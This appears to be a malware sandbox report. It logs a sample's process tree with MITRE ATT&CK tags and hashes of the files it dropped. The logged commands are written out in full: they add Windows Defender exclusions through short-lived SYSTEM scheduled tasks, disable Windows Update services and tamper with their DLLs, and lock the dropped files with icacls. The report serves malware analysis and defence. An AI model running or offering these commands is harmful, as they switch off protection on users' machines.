    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\FM8Eyy\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:4604
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\FM8Eyy\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2380
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4348
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:732
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4280
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:1816
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:4776
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:3700
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:5352
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:5404
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:1604
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:6012
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:4520
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5224
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4264
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:6052
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4204
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\FM8Eyy" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:388
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\FM8Eyy" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:5744
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:616
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4936
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5372
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2452
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4352
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1808
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:460
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2700
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\FM8Eyy" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:5368
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\FM8Eyy" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      PID:5232
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\FM8Eyy\FM8Eyy.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5260
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\FM8Eyy\FM8Eyy.exe" /inheritance:r
      4⤵
      Modifies file permissions
      PID:5220
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2880
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:316
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2068
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1208
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\FM8Eyy\FM8Eyy.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1708
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\FM8Eyy\FM8Eyy.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:4844
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\FM8Eyy\FM8Eyy.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3488
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\FM8Eyy\FM8Eyy.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:4044
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\FM8Eyy\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5216
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\FM8Eyy\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      PID:4784
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\FM8Eyy\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:5572
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\FM8Eyy\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:5596
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\FM8Eyy\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4712
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\FM8Eyy\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:2324
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\FM8Eyy\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3492
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\FM8Eyy\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      PID:1152
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\FM8Eyy\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3504
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\FM8Eyy\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:5176
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\FM8Eyy\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4708
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\FM8Eyy\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:6068
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\FM8Eyy\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5012
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\FM8Eyy\XPSPLOG.dll" /inheritance:r
      4⤵
      Modifies file permissions
      PID:1300
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\FM8Eyy\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3812
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\FM8Eyy\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:5280
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\FM8Eyy\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4184
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\FM8Eyy\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:4792

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4960
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3776

C:\Users\Public\lEa0SH\P2zGL7.exe
"C:\Users\Public\lEa0SH\P2zGL7.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6064

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2172

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1872

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5148
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3504

C:\Program Files (x86)\FM8Eyy\FM8Eyy.exe
"C:\Program Files (x86)\FM8Eyy\FM8Eyy.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4328

C:\Program Files (x86)\FM8Eyy\FM8Eyy.exe
"C:\Program Files (x86)\FM8Eyy\FM8Eyy.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4296

C:\Program Files (x86)\ouv6791Se\Qt8gLGJm.exe
"C:\Program Files (x86)\ouv6791Se\Qt8gLGJm.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4552

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\FM8Eyy" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:6020
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\FM8Eyy" /t REG_DWORD /d 0 /f
  2⤵
  PID:2252

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:6028
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:4256

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

FM8Eyy.exe

Path C:\Program Files (x86)\FM8Eyy\FM8Eyy.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\FM8Eyy\XPSPLOG.dll
Size 4.6MB
SHA256 c3f592da87b115fdf335915f0dac9e43362a36769d5b0cebeb6c7ba01dd0e20e
MD5 13d23ea12b05b06b6001e14048d93df5
SHA1 a71cb867c118e17802a77f9d6dec512cf0ab1ae8
SHA512 c1338d527e38d1cf55dd5e041a2df85761e85a7d45943eea22a83ce91fe15f0a3790219170c379242774435f551e97a37a9b730a3e6784ae81260c1bd8180d50
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyy:BMWKfU+BcUTHCCCfqCiUffny
TLSH
T1F1263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\FM8Eyy\image.png
Size 4.8MB
SHA256 394523076020812227bc24d36867e2c86037cdb92dba595d519089623969b447
MD5 5f8bc030893643e9d43a4dd709ec8277
SHA1 5862daec276f881575c8dedf17cffbc8a6b5ac28
SHA512 32593eb5dbeae4b2dca86b1865722a109e32ae69003e3b583758d23bec78f1b19528f73df6f7606f834406e07de2b8d7a84b5daf3d1d2e2f97466635c682ab1e
SSDEEP 98304:a/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:aMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T11236334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\FM8Eyy\thumbs.db
Size 358KB
SHA256 15fd0d1802210d5bbae78f6bfeb0e95869f6da808984c1de72d36f61ed22cb46
MD5 ecfca72acf94ed798d2c3cc198bffbc3
SHA1 7667ed628a73572c60fe8880be8c4cd057b5d337
SHA512 a4e29e0d0db81faaf9e54d20bd825d17e30a8c5f75a5ed890c4b53f48df78eaef12bf0c81b975b72ea19d389aea51b8b5f57b750220e681f78d5b402c180ee78
SSDEEP 6144:HiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:C8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T10174F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\ouv6791Se\XPSPLOG.dll
Size 4.6MB
SHA256 355739b7199713b3f69c743d47cc0deb198d72afc1047b92af47a7567983b485
MD5 b77f1835dfe561cee9007299ad393dea
SHA1 97d9a52bad21acd0587bd300e9620d1c6910676f
SHA512 288cbca632219422e3ed5073e4b72cedd9c1f3233b54f366bec8a63c9d720e68108cbdf2feb415a797b19dc195bc0036c496e58ae42fc26a5bdf8f0312949e65
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyJ:BMWKfU+BcUTHCCCfqCiUffnJ
TLSH
T114263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\ouv6791Se\image.png
Size 4.8MB
SHA256 9e7add9816af8e1d8480af76f7beda4e5404df8d79b6439f49caf34408a002e8
MD5 f12d81f3ebe783446232b1282a4b11d2
SHA1 18201dd2cc9da9238fca8e3f01c15e612dca42da
SHA512 e73bbf7977b7b22e04c25eb3a22bfa02f47f62a54b789646782d7022f26c06123a624d239a0255879bd37655fca7edc91b2fce53d919bc4636eb435cab4eccff
SSDEEP 98304:b/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:bMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T18736334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 063887cd1ff9de6573f9cbacdebab5e651ce69458cb1de97685c1ff68320f41c
MD5 23f1a9690079aac1791dee1d6ff3b84d
SHA1 070e6a943cbcaa5795e81e2b008ecf0b37f2d405
SHA512 7646cec5762c3590204093d67b79fa39eb208a4633449efd6233ad29750eeff9a712c2766e00be304ceb18e7308cbd6b17706b4873bf4ae4bf64dac2dae9c16d
TLSH
T14831A4BB1FADB9868F3A8F8514CAF02328E4D1804CCA009E2015C4686F083B21F5A50C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 b102d1a849f6c052637e17227b737de1a7e62dcee7ea43a0530c562aea178d47
MD5 532147c411089afcafda5f2b762217c2
SHA1 65be892966a13f9bde2dc231702a7dec8a24e579
SHA512 52af062933c81709cf75df740f4197308c1b5e2c6ce51f3e14d45d96a3bfe7556f9f962a860e3bffa47d643ed06ae220a38ba0479fc094265c190099349be041
TLSH
T1DC31D8965E3920439B1CCF7B92D1C93F6DF195B65CF80842A63EC19A4526B7B1F85044
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 4a9408b72a2ac9175bfd7db81051bc2fa629ad24fdf0d7f6454fbdd6925df272
MD5 cc2c08509c5f2f56f25fbe6945bdbb77
SHA1 584faad13236325b54030f38936c729ebd2298ec
SHA512 00b88a5a558c21347a88e434aa01a33113d0c8118b07eca9540a1b53c43e6fd5e6dd5c26ebbc33f5f23b6b42556c2d52776a6bd27db0f746e683f5868919049b
TLSH
T1F0F0DC0808B8403CF133D97CDAEA7EA3292FFA02240A81E846F94709A442C012EB257C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 51ba0965ae5d91134e6e72caf4d69d81fa31c7408dba097681fb4162f3b2a961
MD5 66195d157555f1c920d3be2ebd305876
SHA1 fd15a775afebf127a950b5074feefa337ba154d0
SHA512 baa29db5988412185e2aa619ab0b15c5c93305c6a71c702ef081ccbffca6c06859659d26c949820843f625207c47800345705b97548a057e5c2194dfbd19cf7b
TLSH
T1D0F0DC3D61F8012FF13BE3B88ECE3BB19AA7E222001761BD0AE943441E51C002C5222E
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

P2zGL7.exe

Path C:\Users\Public\lEa0SH\P2zGL7.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\lEa0SH\UxEnhance64.dll
Size 3.1MB
SHA256 6dd2eca9943a79da17d2e6a98f7eb40173413e2e0c288fcd5bb314a357de68a3
MD5 e85bf504b5e2977ccfbba48715d32a99
SHA1 3a0ed254e1031b185cc560811abbb5699181c6ec
